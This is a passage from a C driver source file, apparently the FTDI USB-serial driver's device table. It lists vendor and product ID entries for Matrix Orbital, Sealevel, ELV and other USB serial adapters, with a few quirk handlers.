MTXORB_FTDI_RANGE_0153_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0154_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0155_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0156_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0157_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0158_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0159_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_015F_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0160_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0161_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0162_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0163_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0164_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0165_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0166_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0167_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0168_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0169_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_016F_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0170_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0171_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0172_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0173_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0174_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0175_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0176_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0177_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0178_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0179_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_017F_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0180_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0181_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0182_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0183_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0184_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0185_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0186_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0187_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0188_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0189_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_018F_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0190_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0191_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0192_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0193_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0194_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0195_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0196_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0197_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0198_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_0199_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_019F_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A0_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A1_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A2_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A3_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A4_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A5_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A6_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A7_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A8_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01A9_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AA_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AB_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AC_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AD_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AE_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01AF_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B0_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B1_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B2_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B3_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B4_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B5_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B6_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B7_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B8_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01B9_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BA_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BB_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BC_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BD_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BE_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01BF_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C0_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C1_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C2_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C3_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C4_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C5_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C6_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C7_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C8_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01C9_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CA_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CB_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CC_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CD_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CE_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01CF_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D0_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D1_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D2_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D3_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D4_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D5_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D6_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D7_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D8_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01D9_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DA_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DB_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DC_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DD_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DE_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01DF_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E0_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E1_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E2_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E3_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E4_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E5_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E6_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E7_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E8_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01E9_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01EA_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01EB_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01EC_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01ED_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01EE_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01EF_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F0_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F1_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F2_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F3_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F4_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F5_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F6_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F7_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F8_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01F9_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FA_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FB_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FC_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FD_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FE_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_01FF_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_4701_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9300_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9301_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9302_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9303_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9304_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9305_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9306_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9307_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9308_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9309_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_930F_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9310_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9311_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9312_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9313_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9314_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9315_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9316_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9317_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9318_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_9319_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931A_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931B_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931C_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931D_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931E_PID) },\n\t{ USB_DEVICE(MTXORB_VID, MTXORB_FTDI_RANGE_931F_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_PERLE_ULTRAPORT_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_PIEGROUP_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TNC_X_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_USBX_707_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2101_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2102_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2103_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2104_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2106_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2201_1_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2201_2_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2202_1_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2202_2_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2203_1_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2203_2_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2401_1_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2401_2_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2401_3_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2401_4_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2402_1_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2402_2_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2402_3_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2402_4_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2403_1_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2403_2_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2403_3_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2403_4_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_1_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_2_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_3_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_4_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_5_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_6_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_7_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2801_8_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_1_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_2_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_3_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_4_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_5_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_6_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_7_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2802_8_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_1_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_2_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_3_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_4_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_5_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_6_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_7_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803_8_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803R_1_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803R_2_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803R_3_PID) },\n\t{ USB_DEVICE(SEALEVEL_VID, SEALEVEL_2803R_4_PID) },\n\t{ USB_DEVICE(IDTECH_VID, IDTECH_IDT1221U_PID) },\n\t{ USB_DEVICE(OCT_VID, OCT_US101_PID) },\n\t{ USB_DEVICE(OCT_VID, OCT_DK201_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_HE_TIRA1_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_HE_TIRA1_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_USB_UIRT_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_USB_UIRT_quirk },\n\t{ USB_DEVICE(FTDI_VID, PROTEGO_SPECIAL_1) },\n\t{ USB_DEVICE(FTDI_VID, PROTEGO_R2X0) },\n\t{ USB_DEVICE(FTDI_VID, PROTEGO_SPECIAL_3) },\n\t{ USB_DEVICE(FTDI_VID, PROTEGO_SPECIAL_4) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E808_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E809_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80A_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80B_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80C_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80D_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80E_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E80F_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E888_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E889_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88A_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88B_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88C_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88D_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88E_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_GUDEADS_E88F_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_UO100_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_UM100_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_UR100_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_ALC8500_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_PYRAMID_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_FHZ1000PC_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IBS_US485_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IBS_PICPRO_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IBS_PCMCIA_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IBS_PK1_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IBS_RS232MON_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IBS_APP70_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IBS_PEDO_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_IBS_PROD_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TAVIR_STK500_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_TIAO_UMPA_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_NT_ORIONLXM_PID),\n\t\t.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },\n\t{ USB_DEVICE(FTDI_VID, FTDI_NT_ORIONLX_PLUS_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_NT_ORION_IO_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_SYNAPSE_SS200_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CUSTOMWARE_MINIPLEX_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CUSTOMWARE_MINIPLEX2_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CUSTOMWARE_MINIPLEX2WI_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_CUSTOMWARE_MINIPLEX3_PID) },\n\t/*\n\t * ELV devices:\n\t */\n\t{ USB_DEVICE(FTDI_ELV_VID, FTDI_ELV_WS300_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_USR_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_MSM1_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_KL100_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS550_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_EC3000_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_WS888_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_TWS550_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_FEM_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_CLI7000_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_PPS7330_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_TFM100_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_UDF77_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_UIO88_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_UAD8_PID) },\n\t{ USB_DEVICE(FTDI_VID, FTDI_ELV_UDA7_PID) 